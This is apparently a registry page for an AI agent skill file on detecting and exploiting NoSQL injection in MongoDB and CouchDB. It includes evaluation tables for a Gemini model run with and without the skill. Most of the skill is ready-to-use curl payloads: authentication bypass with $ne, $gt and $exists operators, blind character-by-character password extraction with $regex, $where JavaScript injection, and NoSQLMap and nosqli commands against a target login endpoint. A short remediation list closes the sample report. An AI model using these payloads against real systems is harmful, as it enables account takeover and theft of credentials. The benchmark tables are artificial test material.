Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.
.claude/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-10 | ✗→✓ | ▲ Improved | — | — |
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-07 | ✗→✓ | ▲ Improved | — | — |
| case-09 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
pip install nosqlmap or from GitHub)bash# Look for JSON-based login forms or API endpoints # Common indicators: application accepts JSON POST bodies, uses MongoDB # Test with basic syntax-breaking characters curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin\"", "password": "test"}' # Test for operator injection in query parameters curl "http://target.com/api/users?username[$ne]=invalid" # Check for error-based detection curl -X POST http://target.com/api/search \ -H "Content-Type: application/json" \ -d '{"query": {"$gt": ""}}'
bash# Basic authentication bypass with $ne operator curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}' # Bypass with $gt operator curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' # Target specific user with regex curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": {"$regex": ".*"}}' # Bypass using $exists operator curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$exists": true}, "password": {"$exists": true}}'
bash# Extract username character by character using $regex # Test if first character of admin password is 'a' curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": {"$regex": "^a"}}' # Test if first two characters are 'ab' curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": {"$regex": "^ab"}}' # Enumerate usernames with regex curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
bash# JavaScript injection through $where operator curl -X POST http://target.com/api/search \ -H "Content-Type: application/json" \ -d '{"$where": "this.username == \"admin\""}' # Time-based detection with sleep curl -X POST http://target.com/api/search \ -H "Content-Type: application/json" \ -d '{"$where": "sleep(5000) || this.username == \"admin\""}' # Data exfiltration via $where with string comparison curl -X POST http://target.com/api/search \ -H "Content-Type: application/json" \ -d '{"$where": "this.password.match(/^a/) != null"}'
bash# Clone and setup NoSQLMap git clone https://github.com/codingo/NoSQLMap.git cd NoSQLMap python setup.py install # Run NoSQLMap against target python nosqlmap.py -u http://target.com/api/login \ --method POST \ --data '{"username":"test","password":"test"}' # Alternative: use nosqli scanner pip install nosqli nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
bash# Parameter-based injection (GET requests) curl "http://target.com/api/users?username[$ne]=&password[$ne]=" curl "http://target.com/api/users?username[$regex]=admin&password[$gt]=" curl "http://target.com/api/users?username[$exists]=true" # Array injection via URL parameters curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root" # Inject via HTTP headers if processed by backend curl http://target.com/api/profile \ -H "X-User-Id: {'\$ne': null}"
| Concept | Description | |---------|-------------| | Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters | | Authentication Bypass | Using operators to match any document and bypass login checks | | Blind Extraction | Character-by-character data extraction using $regex boolean responses | | $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator | | Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) | | BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol | | Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |
| Tool | Purpose | |------|---------| | NoSQLMap | Automated NoSQL injection detection and exploitation framework | | Burp Suite | HTTP proxy for intercepting and modifying JSON requests | | MongoDB Shell | Direct database interaction for testing query behavior | | nosqli | Dedicated NoSQL injection scanner and exploitation tool | | PayloadsAllTheThings | Curated NoSQL injection payload repository | | Nuclei | Template-based scanner with NoSQL injection detection templates | | Postman | API testing platform for crafting NoSQL injection requests |
{"$ne": ""} operator injection in username and password fields$regex blind injection when no direct output is visible## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)
### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |
### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator
### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-10 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +26 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.